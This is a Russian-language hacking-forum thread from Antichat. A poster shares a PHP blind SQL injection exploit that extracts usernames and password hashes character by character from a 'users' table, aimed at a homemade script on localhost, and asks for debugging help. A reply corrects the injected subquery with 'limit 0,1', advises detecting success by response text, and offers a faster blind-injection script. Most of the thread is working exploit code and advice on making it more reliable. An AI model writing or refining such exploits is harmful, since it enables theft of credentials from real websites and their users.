Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите написать сплоит для blind sql-inj (https://forum.antichat.xyz/showthread.php?t=189586)

scorpic393 23.03.2010 16:32

Помогите написать сплоит для blind sql-inj
 
Вот я написал сплоит blind sql-inj для самопального скрипта

вот код
PHP код:

<?php


$size
=CheckSize();echo $size."<br>";
GetLogin();
GetPassword();

function 
GetLogin()
{
$char=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

for(
$pos=1;$pos<=5;$pos++)
for(
$i=0;$i<=26;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";

$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
    echo 
$char[$i];
}
}
}

function 
GetPassword()
{
$char=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

for(
$pos=1;$pos<=32;$pos++)
for(
$i=0;$i<=15;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select password from users),$pos,1)='$char[$i]'/*";

$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
    echo 
$char[$i];
}
}
}

function 
Send($host,$headers)
{
$fsock=fsockopen("localhost",80);
fwrite($fsock,$headers);
while(!
feof($fsock))
    
$response=fread($fsock,1024);
return 
$response;
fclose($fsock);
}

function 
CheckSize()
{
$url="http://localhost/index.php?id=1&type=art";

$headers="GET $url HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
return 
strlen($response);
}
?>

Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.

Grey 23.03.2010 17:41

Мельком глянул, пока увидел:

Код:

$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
Это может вызывать ошибку, дело в том что в подзапросах нужно ограничивать число результатов - должен быть строго 1 результат, юзай limit:

Код:

$script="' and substring((select login from users limit 0,1),$pos,1)='$char[$i]'/*";
или where userid=1 и т.д.

Далее:

Код:

if(strlen($response)==324)
{
    echo $char[$i];
}

Я так понял правильность выполнения запроса ты определяешь по размеру ответного пакета - лучше определяй по наличию/отсутствию текста в получаемом пакете (если есть такая возможность).

P.S. лучше попробуй использовать мой скрипт для блинда как сплоент - он оптимизирован, скорость будет выше. Могу помочь заточить его под сплоент если что.


Время: 22:43